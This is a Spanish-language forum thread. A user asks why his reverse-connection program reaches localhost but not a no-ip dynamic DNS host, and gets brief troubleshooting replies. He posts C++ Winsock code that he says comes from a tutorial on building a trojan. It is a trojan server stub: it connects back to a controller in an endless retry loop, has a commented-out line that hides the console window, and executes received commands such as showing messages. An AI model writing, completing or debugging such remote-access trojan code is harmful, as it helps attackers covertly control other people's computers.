Duda sobre conexion inversa

(1/2) > >>

Mr.Blue:
hola gente les comento, tengo una duda sobre la conexion inversa en mi programa tengo esta linea

Código
host=gethostbyname("ejemplo.no-ip.biz");
Pero no me lo toma no hay error en la compilacion porsupuesto, pero no me permite conectar al no ip

Tengo un router entonces abro el puerto que indico en el codigo ej: 1234

Pero no me puedo visualizar en el cliente, cuando ejecuto el server.
Puede ser que tenga algo que ver con el firewall?

Intente de dos maneras una con el no-ip y otra poniendo localhost y en esta si funciona.

Saludos
PD: Todo el codigo es el explicado por EON en el tutorial de como crear un troyano C++ y VB 6.0.

[L]ord [R]NA:
puedes mostrar el codigo con el cual te estas tratando de conectar?

Mr.Blue:
Código
#include <winsock2.h>
#include <windows.h>
#include <string>
 
#include "c:/Dev-Cpp/Módulos/funVarias.h"
#include "c:/Dev-Cpp/Módulos/mensajes.h"
 
#pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
 
int main(void)
{
  //ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la consola y poner el programa como proceso. Por ahora la dejamos asi.
  WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
  SOCKET sock;
  struct hostent *host;
  struct sockaddr_in direc;
  int conex;
  char Buffer[1024];
  int len;
 
  //Inicializamos
  WSAStartup(MAKEWORD(2,2),&wsa);
 
  //Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para hacer las pruevas
  host=gethostbyname("localhost"); //localhost = 127.0.0.1 ;P
 
  //creamos el socket
  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  if (sock==-1)
  {
     //Si se produce un error al crear el socket
     main(); //Llamamos de nuevo a la función principal para seguir intentandolo
  }
  //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
  //y decimos que el puerto al que deberá conectar
  direc.sin_family=AF_INET;
  direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el usuario cuando hagamos el server edit
  direc.sin_addr = *((struct in_addr *)host->h_addr);
  memset(direc.sin_zero,0,8);
 
  //Intentamos establecer la conexión hasta que lo logremos
  conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
  while (conex==-1)
  { //Esto es lo que hará si no se puede conetar:
  Sleep(100); //Hacemos q el programa se detenga un poco, cuando se termine el troyano conviene subir este intervalo
                  //Por ahora lo dejamos asi para hacer mas comodas las pruevas
  conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos establecer la conexión de nuevo hasta que lo logremos.
  }
 
len=send(sock,"hola",4,0); //Como somos muy educados saludamos xDD el 4 despues del hola indica el nº de
                          //caracteres a enviar
 
  while (len!=0) //Mientras que permanezcamoos conectados
  {
     len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
 std::string sBuffer(Buffer);
 
     if (len>0)  //Si seguimos conectados...
 {
 
Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena
 
           if (Split(sBuffer, '|', 0) == "mensj")
{
//Llamamos a la funcion q muestra los mensajes
mostrarMsj(Split(sBuffer, '|', 1),Split(sBuffer, '|', 2), Split(sBuffer, '|', 3));
}
 
 
      }
   }
 
  main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando conectarse
  return 0;
}
 

Si este es el codigo del tuto de EON. Simplemente lo q quiero hacer es cambiar el localhost a un no-ip. pero no lo logro hacer funcar, cambio el localhost por mi no-ip y abro el puerto indicado desde mi router. Pero en el cliente no aparesco.

winnipu:
has probado en otro puerto por ej digamos vicentico.

Mr.Blue:
?

el problema creo q esta en usar gethostbyname voy a intentar con otra getadderinfo

Navegación

[0] Índice de Mensajes

[#] Página Siguiente